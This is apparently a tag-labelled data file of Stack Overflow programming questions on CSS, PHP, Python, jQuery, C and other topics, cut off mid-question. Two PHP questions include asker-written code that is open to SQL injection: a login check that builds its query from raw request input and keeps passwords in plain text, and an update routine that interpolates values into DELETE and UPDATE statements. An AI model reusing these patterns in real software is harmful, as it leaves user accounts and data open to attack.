"stopping css button from changing postion on the click  i am positioning button with css but whenever i click the button it keeps on moving to the top and back to it s position. how can i stop it from happening     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.mybutton {
  background-color:#4b4d4c;
  border:1px solid #ffffff;
  display:inline-block;
  cursor:pointer;
  color:#ffffff;
  font-family:arial;
  font-size:17px;
  padding:11px 76px;
  text-decoration:none;
    margin: 0;
    position: absolute;
 
     left: 50%;
     margin-right: -50%;
     transform: translate(-50%  0);
 
 }
 .mybutton:hover {
  background-color:#373838;
 }
 .mybutton:active {
 
  top:1px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>            &lt;div&gt;
               &lt;br&gt;
             &lt;/div&gt;
             &lt;div&gt;
                &lt;br&gt;
             &lt;/div&gt;
             &lt;div&gt;
               &lt;br&gt;
             &lt;/div&gt;
             &lt;div&gt;
             &lt;br&gt;
             &lt;/div&gt;
             &lt;a href= #  class= mybutton &gt;more &gt;&lt;/a&gt;</code></pre>
 </div>
 </div>",css
how to get resources path   i run my app on simulator in xcode and it works fine but when i try to run it on the device it doesn t work. i figured out that it doesn t open some files. (i don t know if it gets wrong path or maybe the files aren t copied)    before i open my files i get their path like that:   <pre><code>const char* pobierz_sciezke(const char  *tytul_c) {  nsstring *tytul = [nsstring stringwithutf8string: tytul_c];   nsarray *paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes);  nsstring *documentsdirectory = [paths objectatindex:0];   nsstring *mypathdocs =  [documentsdirectory stringbyappendingpathcomponent:tytul];   if (![[nsfilemanager defaultmanager] fileexistsatpath:mypathdocs])  {   nsstring *mypathinfo = [[nsbundle mainbundle] pathforresource:@ tex_dane  oftype:@ txt ];   nsfilemanager *filemanager = [nsfilemanager defaultmanager];  }   nslog(@ %@  mypathdocs);   const char *sciezka;  sciezka = [mypathdocs utf8string];  return sciezka; } </code></pre>   is this code ok     maybe i should add my resources in a different way  change project settings,iphone
why does jquery.keydown not fire the first letter i type   why does <code>jquery.keydown</code> not fire the first letter i type     <a href= http://jsfiddle.net/astrc/  rel= nofollow >http://jsfiddle.net/astrc/</a>   <pre><code>&lt;input id= foo  type= text &gt; &lt;div&gt;&lt;/div&gt;  $( #foo ).on( keydown   function(e){     $( div ).text(this.value); }); </code></pre>   i only see it fire on the 2nd keydown press  not the first.,jquery
how would i define a mix of objective-c method parameters   i would like to do something like this in my program:   <pre><code>[obj list error:&amp;error]; </code></pre>   but when i try to define the prototype/method  i get compile errors.    i ve tried the following definitions:   <pre><code>-(void)list error:(nserror **)error;  -(void)list:() error:(nserror **)error; </code></pre>   nothing seems to work.,objective-c
some basic css guidance needed please  i never seem to be able to get the simplest thing to work in css. i m sure it s straightforward  but i ve been fighting against float/position/clear and i can t get anything that looks like below. i would post a jsfiddle but there s no point as i can t get near it!    <img src= https://i.stack.imgur.com/shsym.png  alt= css goal >    the green bit on the left is shown inside a yellow container. i don t really want the yellow container at all  but i showed it there because i m not sure i could have the green bit without it.    many thanks.,css
place cursor at end of text in memo field (.net app)  is there a way when a page opens  to place the cursor at the end of a large memo field so users can automatically start entering text at the end of the field  rather than have them scroll down first     thanks    dd,.net
how to use jquery selector for select input name and input name in array   can you help me. i need select with jquery input with name and input with name in array.   <pre><code>&lt;input type= text  name= name &gt; &lt;input type= text  name= shippingaddress[name] &gt; </code></pre>   i try this  but this not work.   <pre><code>var name = $( [name^= name ] ); </code></pre>,jquery
.net framework difference   what are the differences in terms of features in .net frameworks 1.1 2.0 3.0 and 3.5,.net
richtextbox doesn t support arabic  when i replace english characters in richtextbox with arabic characters  it appears to be question marks instead of the arabic characters. but when i try to write in the richtextbox directly with arabic  it accepts  is there is any solution for the problem of replacing,c#
calculate the difference between date/times in php  i have a date object ( from pear)  and want to subtract another date object to get the time difference in seconds.    i have tried a few things but the first just gave me the difference in days  and the second would allow me to convert one fixed time to unix timestamp but not the date object.   <pre><code>        $now = new date();         $tzone = new date_timezone($timezone);         $now-&gt;converttz($tzone);         $start = strtotime($now);         $eob = strtotime( 2009/07/02 17:00 ); // always today at 17:00          $timediff = $eob - $start; </code></pre>   ** note ** it will always be less than 24 hours difference.,php
skipping non-modified entries  i m trying to figure out how to skip updating options that haven t changed in a form.  what is happening right now is everything is being updated regardless if it s been changed or not.  everything works fine the way it is currently.     basically  i m trying to create success messages  return $error  based on the items that were updated.  if everything updates  as it is now  i get success messages regardless if i changed the item or not.    any help would be much appreciated.    // class function   <pre><code>    /* updating types */     public function updatetype($up_type $up_enabled $up_delete) {         try {                        $query =  update type set enabled =  0  ;             $de_activate = $this-&gt;common_connect-&gt;prepare($query);             if(!$de_activate-&gt;execute()){                 throw new exception( updatetype );             }             if(isset($up_enabled)){                                foreach($up_enabled as $i_input) {                     $query =  update type set enabled =  1  where record_num=$i_input ;                     $active_update = $this-&gt;common_connect-&gt;prepare($query);                     if(!$active_update-&gt;execute()){                         throw new exception( updatetype_active );                     }                 }                 $error[0] =  sponsor types have been enabled. ;             }             if(isset($up_delete)){                 foreach($up_delete as $i_input) {                     $query =  delete from type where record_num=$i_input ;                     $delete_type = $this-&gt;common_connect-&gt;prepare($query);                     if(!$delete_type-&gt;execute()){                         throw new exception( updatetype_delete_type );                     }                 }                 $error[1] =  sponsor types has been deleted. ;             }             if(isset($up_type)){                 foreach($up_type as $k=&gt;$v) {                     $query =  update type set type=:v where record_num=:k ;                     $update_type = $this-&gt;common_connect-&gt;prepare($query);                     $update_type-&gt;bindparam( :v  $v pdo::param_str);                     $update_type-&gt;bindparam( :k  $k pdo::param_str);                     if(!$update_type-&gt;execute()){                         throw new exception( updatetype_update_type );                     }                 }                 $error[2] =  sponsor types has been updated. ;             }             return $error;         } catch(exception $e){             // save output to saveerror function             errors_output::saveerror($e);             exit();         }        }     </code></pre>   // function to update   <pre><code>if(isset($_post[up_type]) || isset($_post[up_enabled]) || isset($_post[up_delete])) {     $foo-&gt;updatetype($_post[up_type]  $_post[up_enabled]  $_post[up_delete]);    } </code></pre>   // success message in template   <pre><code>&lt; php if (!empty($error)) {  &gt;      &lt;div class= content &gt;         &lt;div class= notification msgalert &gt;         &lt;p&gt;         &lt; php foreach($error as $i){  &gt;             &lt; php echo  &amp;bull;   . $i;  &gt;         &lt; php }  &gt;         &lt;/p&gt;           &lt;/div&gt;     &lt;/div&gt;     &lt;br /&gt; &lt; php }  &gt; </code></pre>   // form in template   <pre><code>    &lt;form name= update_types  method= post  action=   enctype= multipart/form-data &gt;          &lt;table&gt;            &lt; php if(is_array($array_type_list)) {                     foreach($array_type_list as $row_type_list) {  &gt;                         &lt;tr&gt;                             &lt;td align= left &gt;&lt;input class= table  name= up_type[&lt; php echo $row_type_list[record_num];  &gt;]  type= text  value= &lt; php echo $row_type_list[type];  &gt;  /&gt;&lt;/td&gt;                             &lt;td class= center &gt;&lt;input &lt; php if($row_type_list[enabled] == 1) { echo  checked= checked  ; }  &gt; type= checkbox  name= up_enabled[&lt; php echo $row_type_list[record_num];  &gt;]  value= &lt; php echo $row_type_list[record_num];  &gt;  /&gt;&lt;/td&gt;                             &lt;td class= center &gt;&lt;input type= checkbox  name= up_delete[&lt; php echo $row_type_list[record_num];  &gt;]  value= &lt; php echo $row_type_list[record_num];  &gt;  /&gt;&lt;/td&gt;                         &lt;/tr&gt;                 &lt; php                     }                 }                  &gt;         &lt;/table&gt;      &lt;/form&gt; </code></pre>,php
getting value of a functions attribute from a string  i am trying to log with syslog. i have a string with the facility in it. in this case <code> log_local0 </code>. i want to use this string to access <code>syslog.log_local0</code>  which is an int of value 128. if this was a function i would use <code>getattr()</code> but i do not know how do do it for something that is not callable like an int  how do i     basically i want to call <code>syslog.log_local0</code> but have the <code> log_local0 </code> as a string so i can t.,python
python calculate many different sum in for loop  i was trying to calculate letter value (a = 1  b = 2...z = 26) of input. any other characters are considered 0 the code is listed below:   <pre><code>alpha = list( abcdefjhijklmnopqrstuvwxyz ) a = [] sum1= 0 while true:     b = input()     if b ==   :         break     else:         a.append(b.lower()) lst_len = len(a) for i in range(lst_len):     elem_len = len(a[i])     for j in range(elem_len):         if (a[i][j]) in alpha:             num = alpha.index(a[i][j]) + 1             sum1 += num          else:             pass     print sum1 </code></pre>   my question is how do i print the sum value of each i in for loop instead of keep adding to the previous sums    thank you!,python
need help on simple calculator <pre><code>&lt;html&gt; &lt;head&gt; &lt;script language= javascript &gt; function fadd() { var first sec res; first=parsefloat(document.forms[0].txt1st.value); sec=parsefloat(document.forms[0].txt2nd.value); res=first+sec; document.forms[0].txtres.value=res; } &lt;/script&gt; &lt;/head&gt;   &lt;body&gt; &lt;form&gt; enter 1st number &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;input name= txt1st  id= txt1st  type= text &gt; &lt;/br&gt; enter 2nd number &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;input name= txt2nd  id= txt2nd  type= text &gt; &lt;/br&gt; result &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;input name= txtres  id= txtres  type= text &gt; &lt;/br&gt; &lt;input name= btnadd  id= btnadd  type= button  value= +  onclick= fadd() &gt; &lt;input name= btnsub  id= btnsub  type= button  value= -  onclick= fminus() &gt; &lt;input name= btndiv  id= btndiv  type= button  value= %  onclick= fdiv() &gt; &lt;input name= btnmul  id= btnmul  type= button  value= *  onclick= fmult() &gt; &lt;/form&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
how to make type= number  to positive numbers only  currently i have the following code   <pre><code>&lt;input type= number  /&gt; </code></pre>   it comes out to something like this    <img src= https://i.stack.imgur.com/dxgg1.png  alt= enter image description here >    the little selector things on the right allow the number to go into negative. how do i prevent that     i am having doubts about using <code>type= number </code>  it is causing more problems than it is solving  i am going to sanity check it anyways  so should i just go back to using <code>type= text </code>,html
console error message for removing elements  i got a function for removing elements from the site. when i click the  ok  button the console tells me  removeelements is not defined ... ! but in my opinion everything is done right.    here is the code:   <pre><code>function showpic(obj  yes)     {         var obj = (yes)   obj : this;         if(!istimerunning)         {             istimerunning = true;             chronoid = setinterval(function() { chronometro() }  1000);             pointers[game] = chronoid;         }         if(!waitasecond)         {             if(!imagesingame.isinarray(obj))             {                 return;             }             if(!clicks.length)             {                 clicks[0] = obj;                 if(!openedimages.isinarray(obj))                 {                     notopenedimages.deleteelementbyvalue(obj.divnum   divnum );                 }                 obj.firstchild.style.display =  none ;             }             else             {                 if(clicks[0].divnum == obj.divnum)                     return;                 clicks[1] = obj;                 if(!openedimages.isinarray(obj))                 {                     openedimages.push(obj);                     notopenedimages.deleteelementbyvalue(obj.divnum   divnum );                 }                 obj.firstchild.style.display =  none ;                 waitasecond = true;                  checkidentity();                 document.getelementbyid( numberoftries  + game).value = allplayers[player][ failures ];             }         }     }      function showpiconclick()     {         if(humanplayer)             showpic(this  true);     }     function checkidentity()         {             if(clicks[0].imagenum == clicks[1].imagenum)             {                 countpairs();                 imagesingame.deleteelementbyvalue(clicks[0].imagenum   imagenum );                 openedimages.deleteelementbyvalue(clicks[0].imagenum   imagenum );                 addelement( match_div_one_ +clicks[1].imagenum   img );                 addelement( match_div_two_ +clicks[1].imagenum   inhalt1 );                 addelement( match_div_three_ +clicks[1].imagenum   inhalt1 );                 addelement( match_div_button_ +clicks[1].imagenum   &lt;button onclick= removeelements() &gt;ok&lt;/button&gt; );                  /*alert(messages[clicks[1].imagenum]);  */                  gotlastpair = player;                 waitasecond = false;                 clicks.clean();                 checkforgameend();             }             else             {                 allplayers[player][ failures ]++;                 turnid = settimeout(function() { hidepics() }  timeout);             }         }      function removeelement(divnum) {             var olddiv = document.getelementbyid(divnum);             olddiv.parentnode.removechild(olddiv);         }          function removeelements() {             removeelement( match_div_one_ +clicks[1].imagenum);             removeelement( match_div_two_ +clicks[1].imagenum);             removeelement( match_div_three_ +clicks[1].imagenum);             removeelement( match_div_button_ +clicks[1].imagenum);         } </code></pre>,javascript
how do i automatically pass arguments to a function on certain objects  i am trying to make a text based game using python. i set up a radar() function but currently the only way to use it is if the player types in arguments directly to the console. i want the program to detect which vehicle the player is piloting and pass whatever attributes of that vehicle need to be passed automatically without the player having to type them.    for example instead of the player having to type in   a.radar([100 100 100]  100)  in order to use the radar() function i want the player to only need to type in  radar   and all other parameters to be passed automatically. how can i make this happen  should i restructure this code entirely      my code:   <pre><code>class mobilesuits:     #class global variables/methods here     instances = [] #grid cords here     def __init__(self armor speed name description cockpit_description \                  radar_range  coordinates):         mobilesuits.instances.append(self)         self.armor=armor         self.speed=speed         self.name=name         self.description=description         self.cockpit_description=cockpit_description         self.radar_range=radar_range         self.coordinates=coordinates       def radar(self  coordinates  radar_range):         for i in range(len(a.instances)):             cordcheck=a.instances[i].coordinates             if cordcheck == coordinates:                 pass             elif (abs(cordcheck[0]-coordinates[0]) &lt;= radar_range) and \                 (abs(cordcheck[1]-coordinates[1]) &lt;= radar_range) and \                 (abs(cordcheck[2]-coordinates[2]) &lt;= radar_range):                 print( %s detected at %s  ) %(a.instances[i].description  a.instances[i].coordinates)    a=mobilesuits(100 100  leo   leo desc   dockpit desc  100 [100 100 100]) b=mobilesuits(100 100  leo   leo desc   dockpit desc  100 [300 100 100]) c=mobilesuits(100 100  leo   leo desc   dockpit desc  100 [100 150 100])  a.radar([100 100 100]  100) </code></pre>,python
how to read/write std::string values from/to binary files  i want to write an item to a binary file  close it  and open it again to read it. the code is simple and straightforward  it compiled and ran without error using visual studio 2008.     however  it got  segment fault  when running with the gcc compiler.     what am i doing wrong    <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;string&gt;  using namespace std;  class item { private:     string itemid;     string itemname;     string itemstate;  public:     item( const string&amp; id =  i0000   const string&amp; name =  zero item   const string&amp; state =  not init  )         : itemid( id )   itemname( name )   itemstate( state )     {      }      string&amp; operator []( int x )     {         if ( 0 == x )             return itemid;         if ( 1 == x )             return itemname;         if ( 2 == x )             return itemstate;          return ( string&amp; )  ;     }      const string&amp; operator []( int x ) const     {         if ( 0 == x )             return itemid;         if ( 1 == x )             return itemname;         if ( 2 == x )             return itemstate;          return ( string&amp; )  ;     }  public:     friend istream&amp; operator &gt;&gt;( istream&amp; i  item&amp; rhs )     {         cout &lt;&lt;   * itemid:  ;         getline( i  rhs.itemid );         cout &lt;&lt;   - item name:  ;         getline( i  rhs.itemname );         cout &lt;&lt;   - item state:  ;         getline( i  rhs.itemstate );         return i;     }      friend ostream&amp; operator &lt;&lt;( ostream&amp; o  const item&amp; rhs )     {         return o &lt;&lt;  id =   &lt;&lt; rhs.itemid                  &lt;&lt;  \nname =   &lt;&lt; rhs.itemname                  &lt;&lt;  \nstate =   &lt;&lt; rhs.itemstate &lt;&lt; endl;     } };  void write_to_file( const string&amp; fn  const item&amp; item ) {     fstream outf( fn.c_str()  ios::binary | ios::out );     item temp( item );     outf.write( reinterpret_cast&lt;char *&gt;( &amp;temp )  sizeof( item ) );     outf.close(); }  void read_from_file( const string&amp; fn  item&amp; item ) {     fstream inf( fn.c_str()  ios::binary | ios::in );      if( !inf )     {         cout &lt;&lt;  what s wrong  ;     }     item temp;     inf.read( reinterpret_cast&lt;char *&gt;( &amp;temp )  sizeof( item ) );     item = temp;     inf.close(); }  int main() {     string fn =  a.out ;     //item it(  12    ipad    good  );     //write_to_file( fn  it );       item temp;     read_from_file( fn  temp );     cout &lt;&lt; temp;      return 0; } </code></pre>,c++
sending email in .net  i have a web application deployed in a server. on a button click  i need to open outlook new mail window with some values populated in a particular format.    so that the user can edit the values if want and change the to  ccc fields with the recipient list  and then send the mail manually.    note: assumption is that there is outlook client installed in the client machine    smtp will not work as it doesn’t open outlook window; it just sends the mail with all the customizations you want in background  there won’t be any ui where user can edit the values.    mailto may solve the problem  but it has a limit of around 450 characters of body and we have around 2 pages of body.    interop   there is a interop assembly which provides the similar functionality  but this requires outlook to be installed on the server where the application is deployed.,.net
replace characters on the end of a string   i am working in python and i have a string such as <code> world s  and  states.  </code> where i want to check if the last letter of the word is an alphabet  and if not  remove it. i have the following code:   <pre><code>if word[-1].isalpha():     print word else:     print word[:-1] </code></pre>   but i also want to be able to remove two (or more) non alphabetic characters. i know i need some kind of loop.,python
how to return appropriate header for tire search results   if you go to www.leapfm.com and make a search for lets say  dubstep  it will return all of the dubstep songs. however  the header is still listed as  top songs      i d like it to instead change to something like search results for  dubstep  5 when a search is made.    i tried a hacky solution like this but it didn t work   <pre><code>&lt;% if tire.search.results %&gt; &lt;h6&gt;search results:&lt;/h6&gt; &lt;% else %&gt; &lt;h6&gt;top ranked songs&lt;/h6&gt; &lt;% end %&gt; </code></pre>   any ideas     i m using <a href= https://github.com/karmi/tire  rel= nofollow >this gem</a>    and    <a href= http://karmi.github.io/tire/  rel= nofollow >here s the documentation</a>     the problem is more or less making the  top songs  header change  and the search results returning in the index makes it difficult.,ruby-on-rails
how to change the orientation of uiwindow in ipad  i want to create something like that a uiview slide down for the status bar in ipad. but it only work in portrait mode. when i rotate the ipad to landscape mode  the uiview still slide as portrait mode.,ios
utf8 makes an extra line on my site  i am writing an arabic website and saving templates as utf8 (using notepad++)   this makes an extra new line on each file/template include   is there anyway to fix this problem without the need to save the file in ascii format      thank you .,html
how to distinguish day/night with [nsdate date]   after i get current device time by using [nsdate date]  how do i know it s daytime or night now     thanks in advance!,iphone
jquery elements exclusion from an existing collection  i would like to know if there is a way in jquery to exlucde a group of elements from a previously selected collection of items. i know i can use  :not  to add exclussion rules when referencing a group of items  but that is not the same question  since i want to know if it is possible to substract a group of elements from a different group of elements already referenced.    ¿why is that  because imagine the first group is created according to a set of dynamic rules and some elements could have been added or removed  and when i want to substract the second set of elements from the first group  i dont really know which elements are in the first group. that is  there is no such rule that can be applied using selectors to obtain what i am looking for.    the idea is something like this:   <pre><code>var a = $( selection rules ); var b = $( selection rules2 ); //elements from both groups could be removed or new ones added dinamically  var c = b.substract(a); </code></pre>,jquery
i want to write to a .dat file with sep= \s+  using python  i have a .dat file which i read using <code>df = pd.read_table( file.dat   sep= \s+ )</code> and then i am supposed to select rows in the df (based on some condition) and write those to a new .dat file  now i tried using <code>df.to_csv( newfile.dat   sep= \s+ )</code>   <pre><code>   `import pandas as pd     df = pd.read_table( file.dat   sep= \s+ )     selection = df[(df.hr &gt;= 19) &amp; (df.hr &lt;= 24)]     selection.to_csv( newfile.dat  sep= \s+ )` </code></pre>   but i get the error  <code>typeerror:  delimeter  must be an 1-character string</code>. after some googling i came to this solution    <pre><code>  `import pandas as pd    df = pd.read_table( file.dat   sep= \s+ )    selection = df[(df.hr &gt;= 19) &amp; (df.hr &lt;= 24)]    file = open( newfile.dat    w+ )    file.write(str(selection))` </code></pre>   but my file is so large that when it is saved on the document  it is saved along with the three dots  ...  that shows there is more data here  it does not show the actual data    <a href= https://i.stack.imgur.com/g3pdi.png  rel= nofollow noreferrer >image of output</a>    i don t know how i can write to a .dat file and keep the delimiter  \s+   any help is appreciated. thank you.,python
space before echo message php  i used back end php and front end unity for gaming development  when i try to send php values to unity  values are sent fine the problem i faced here is the value i sent to unity is accompanied by space  i want to remove that space.   <pre><code>&lt; php include  dbconn.php ; if((isset($_request[ email ])) &amp;&amp; (!empty($_request[ password ]))) { $email = $_request[ email ]; $password = $_request[ password ]; $check = select * from register_unity where email=  .$_request[ email ].   and password=  .$_request[ password ].   ; $query = mysql_query($check); $result = mysql_fetch_assoc($query); $numrows = mysql_num_rows($query);  if($numrows == 0) { echo  invalid username/password ; } else  { echo  login success ; } }  &gt; </code></pre>   echoed values are sent using the url for eg: when logging success  values should be sent as  login success  but what actually happened is      login success,php
sql table creation code gives error  could someone have a look at this for me  i can t seem to find why it is not working.   <pre><code>create table person( person_id int auto_increment not null  person_type_id int not null  create_date datetime not null   modify_date datetime not null   first_name varchar(50) not null  surname varchar(50) not null  dob date not null  gender char(1) not null check (gender = f  or gender = m )  archive char(1) null  allergies varchar(200) not null  dietry_requirements varchar(200) not null  disabilities varchar(200) not null  medicine_requirements varchar(200) not null      username varchar (30) not null  password varchar (30) not null  constraint pk_person_id primary key (person_id) constraint fk_person_type_id foreign key (person_type_id) references person_type (person_type_id)); </code></pre>,sql
shuffle an array and replace it s keys with guids in javascript  i want to shuffle an array and change the keys over to unique identifiers.    here is what i have so far which is a mix of a couple of functions i found lying around the internet.   <pre><code>questionset.prototype.obfusicate = function(data) {     var o = {};     util.list([ question    answer ]  data  o);      for (var n = 0; n &lt; o.answer.length - 1; n++) {         var k = n + math.floor(math.random() * (o.answer.length - n));         var temp = o.answer[k];         o.answer[k] = o.answer[n];         o.answer[n] = temp;     }      // generate a unique id for the key      return {         correct: this.guid()  //actually store the first unique id         question: [o.question  o.answer]     }; };  questionset.prototype.guid = function() {     return  xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx .replace(/[xy]/g  function(c) {         var r = math.random()*16|0  v = c ==  x    r : (r&amp;0x3|0x8);         return v.tostring(16);     }); } </code></pre>   as of right now my plan is to introduce another <code>for(x in o.answers)</code> loop after the shuffle and make it into an associative array with guids acting as the keys. however i m sure there is a more elegant solution  i just can t come up with it right now.,javascript
what does n*=-1 mean in java  particularly n*=  so i m supposed to read a code and i don t understand what this notation means. i understand that n+= bla  means n+1= bla. but i can t make out the meaning of n*= -1. can someone tell me real quick. also does anyone know why this would be used instead of a clearer notation  whoever wrote the code couldn t have possibly saved more than a few letter when using this...,java
managing software updates  i am looking into different ways to handle updating an asp.net application across many different clients  and looking for suggestions from your previous experience.    <ul> <li>we need the client apps to check if they have any available updates.</li> <li>a way to auto update (if possible  something similar to chromes but for webapp).</li> <li>some way to check that we are the ones sending the updates. (checksum of some sort i would guess)</li> <li>any other tips/advice</li> </ul>   thanks    edit: after thinking more about this overnight  i would have to agree that auto updates may not be the best. however maybe something more along the lines of how wordpress does it. wordpress will display saying that there is an update available then clicking will auto update the system.,asp.net
rails submit form with get parameters from url  i have form for signup user and when this url have get parameter like  <code>http://localhost:3000/signup list_id=10</code> need transfer this parameters to action for create user   <pre><code>&lt;%= form_for(@user) do |f| %&gt; &lt;%= render  shared/error_messages   user: @user %&gt;  &lt;%= f.label :name %&gt; &lt;%= f.text_field :name  class:  form-control  %&gt;  &lt;%= f.label :email %&gt; &lt;%= f.email_field :email  class:  form-control  %&gt;  &lt;%= f.label :password %&gt; &lt;%= f.password_field :password  class:  form-control  %&gt;  &lt;%= f.label :password_confirmation %&gt; &lt;%= f.password_field :password_confirmation  class:  form-control  %&gt;  &lt;%= f.submit yield(:button_text)  class:  btn btn-primary  %&gt; </code></pre>     in this action user create dont see this parameter   <pre><code>  def create debugger @user = user.new(user_params) if @user.save   log_in @user   flash[:success] =  welcome to the sample app!    redirect_to @user else   render  new  end </code></pre>   end   <pre><code>(byebug) params&lt;actioncontroller::parameters { utf8 =&gt; ✓    authenticity_token =&gt; i5+lc0t2fqy2ie56rmnkr6eff60njmiuatob7xaqknb6yghzpmebyyrpcanpnnqyo9h/wmwbm7iumdxryuabca==    user =&gt;{ name =&gt; ivan    email =&gt; ss@ss.com    password =&gt; 222    password_confirmation =&gt; 222 }   commit =&gt; create my account    controller =&gt; users    action =&gt; create } permitted: false&gt; </code></pre>,ruby-on-rails
returning to previous screen after receiver activity  i have a app that has a activity that can be started from the start menu and a activity that is started by a broadcast receiver.    <img src= https://i.stack.imgur.com/itqzi.jpg  alt= enter image description here >    now on boot   if the receiver is called   the  event viewer  activity is started...after backing out of this activity user returns to previous screen (could be homescreen or whatever user was doing) .. this is how it should be.    but if i start the  main  activity from the main launcher  and press the home button to go back to the home screen..the problem begins. now if the receiver is called the  event viewer  activity is shown. if the user backs out of the  event viewer  activity (or i call finish() ) it will show the  main  activity(still running in background) instead of the previous thing the user was doing (like home screen).    this is not how i want it..because it causes users after dismissing a calendar event (the purpose of my app) to return to eg the settings from the main app..    if i call finish() in onpause   it works ok...but that is not the way it should work.    any clues     hope the problem is clear   since english isn t my first language i found it hard to explain the problem :-)    thanks..,android
whats strange happening in below code of c# <pre><code>public class customer     {         private list&lt;order&gt; _orders = null;          public customer()         {           }          public list&lt;order&gt; orders         {             get             {                  if (_orders == null)                 {                     _orders = loadorders();                 }                 return _orders;             }         }          private list&lt;order&gt; loadorders()         {             list&lt;order&gt; temp = new list&lt;order&gt;();             order o = new order();             o.ordernumber =  ord1003 ;             temp.add(o);             o = new order();             o.ordernumber =  ord1004 ;             temp.add(o);             return temp;         }     }      public class order     {         public string ordernumber { get; set; }     }     class program     {         static void main(string[] args)         {             customer c1 = new customer();          }     } </code></pre>   in the above code there is a class called customer which is having a private variable of type list which is initialized to null.    we have a public property orders which has a getter which is used to fill order list if it is null.  there is a loadorders() method which fills in orders in list.    now in static void main i am just creating an object of class customer. but when i am debugging the above code i see that orders object also gets filled up with ord1003 &amp; ord1004.    how order object gets filled up just by creating an object of class customer   can somebody explain      if getter is being called i want to know how it is being called automatically while debugging,c#
how to read zvpl file  how to read a zvpl file in window and also convert the .zvpl file into .txt file,.net
simple form to send email  i want to show whether email sent successfully or failed on the same form. i want to show the empty form after email sent successfully. how can i do it  here is the form   <pre><code>&lt;input type= text  name= name  /&gt; &lt;input type= text  name= email  /&gt; &lt;input type= submit  name= submit  /&gt; &lt;span&gt;here i want to show msg&lt;span&gt; </code></pre>,php
undefined in the server ng-model input inside ng-repeat  i have input inside ng-repeat and input had a value from the database . i need to post my input in an object to the server but its undefined. however  when you touched or change the input value it works fine. why input triggers only when you touched or change the value     html   <pre><code>&lt;form name= form &gt; &lt;ul&gt;     &lt;li ng-repeat= val in vals track by $index &gt;         &lt;input type= text  ng-value= val.id  ng-model= data.val[$index] &gt;     &lt;/li&gt; &lt;/ul&gt; &lt;button type= button  ng-click= submit() &gt;submit&lt;/button&gt;&lt;/form&gt; </code></pre>   js   <pre><code>var app = angular.module( app   []); app.controller( controller   function($scope){ $scope.data = {};  $scope.fetch = function(){   $http.get( fetch.php ).then(function (response) {       $scope.vals  = response.data;   });  }$scope.fetch();  $scope.submit = function(){   var formdata = $scope.data;   $http.post( post.php   formdata)     .then(function(response){       console.log(response.data);   });}}); </code></pre>,angularjs
even though i use % 1000000007 it still results on 0  my goal on this code is to make exponential operations without pow(). it works for evey value a^b which b &lt;= 30. i m aware that i should be using  x % 1000000007 to prevent integers overflows.    <pre><code>#include &lt;stdio.h&gt;     int main(void) {         int i  a  b  rst;         rst = 1;         scanf( %d %d   &amp;a  &amp;b);         for (i = 0; i &lt; b; i++){             rst = rst * a;             if( b == 0){                 rst = 1;             }                    }         printf( %d\n   rst % 1000000007);         return 0;     } </code></pre>   why does it returns a  0  for example on  2^40 % 1000000007  even though i m using % 1000000007,c
mysql insert columnname is (select value form another column of the same table)  have table named <code>categories</code> like this   <pre><code>idrows  |  categoriesname |  upperlevelname --------------------------------------------  1      |  somename       |   </code></pre>   for example want to insert second row  that looks like this    <pre><code>idrows  |  categoriesname |  upperlevelname --------------------------------------------  2      |  somenamenext   |  somename </code></pre>   query like this   <pre><code>insert into categories ( categoriesname  upperlevelname ) values (    (select categoriesname from categories where idrows =  ) ) </code></pre>   i mean in <code>upperlevelname</code> want to insert <code>categoriesname</code> where <code>idrows = 1</code>    but get error <code>you can t specify target table  categories  for update in from clause</code>    as understand error is somewhere here <code>(select categoriesname from categories where idrows =  )</code>    what would be correct code,mysql
adding input box dynamically for inline edit  yesterday i have posted one code for adding text box in inline edit i got the following correct answer. <a href= https://jsfiddle.net/wjb0an9m/4/  rel= nofollow noreferrer >https://jsfiddle.net/wjb0an9m/4/</a>     now the same thing i am trying with ajax call and getting data s from db.but text box is appending multiple times.that is <code>i have one table with 5 rows when i click edit button in first row text box is appended 5 times similarly when i click edit in second row text box is appended 4 times and so on.</code><br>i don t know what i did wrong.<br> please anyone let me know what i did wrong   <pre><code>function emproles() {     $.ajax({         type:  post           url:  /admin/getroleslist           data: {}           datatype:  json           success: function (response) {             console.log(response)             var rolelist = response;             $( #content ).html(  );             for (var i = 0; i &lt; rolelist.length; i++) {                 var table =  &lt;tr  id=   + rolelist[i].id +   &gt;&lt;td&gt;  + (i + 1) +  &lt;/td&gt;&lt;td class= rolename  id= name  + i +   &gt;&lt;p&gt;  + rolelist[i].name +  &lt;/p&gt;&lt;/td&gt;&lt;td&gt;&lt;button  class= btn edit btn-info  id= edit  + i +   &gt;&lt;i class= fa fa-pencil &gt;&lt;/i&gt;edit&lt;/button&gt;&lt;button  class= btn update btn-success  id= update  + i +   &gt;&lt;i class= fa fa-floppy-o &gt;&lt;/i&gt;update&lt;/button&gt;&lt;button class= btn dlt btn-danger  onclick= deleterow(this)  data-dismiss= modal  &gt;&lt;i class= fa fa-trash-o &gt;&lt;/i&gt;delete&lt;/button&gt;&lt;/td&gt;&lt;tr&gt; ;                 $( #content ).append(table);                 editupdate();             }         }          failure: function (response) {             nodata()         }     }); } function nodata() {     $( .nodata ).show(); } function editupdate() {     $( .update ).hide();     $( .edit ).click(function () {debugger          var editid = $(this).attr( id );         $(this).parents( tr ).find( td.rolename ).append( &lt;input&gt; );         $(this).parents( tr ).find( td.rolename &gt; p ).hide();         $(this).parents( tr ).find( td.rolename&gt;input ).val($(this).parents( tr ).find( td.rolename &gt; p ).text());         $( #  + editid).hide();         var number = editid.replace( edit     );         $( #update  + number).show();          var currenttd = $(this).parents( tr ).find( :nth-child(2) );        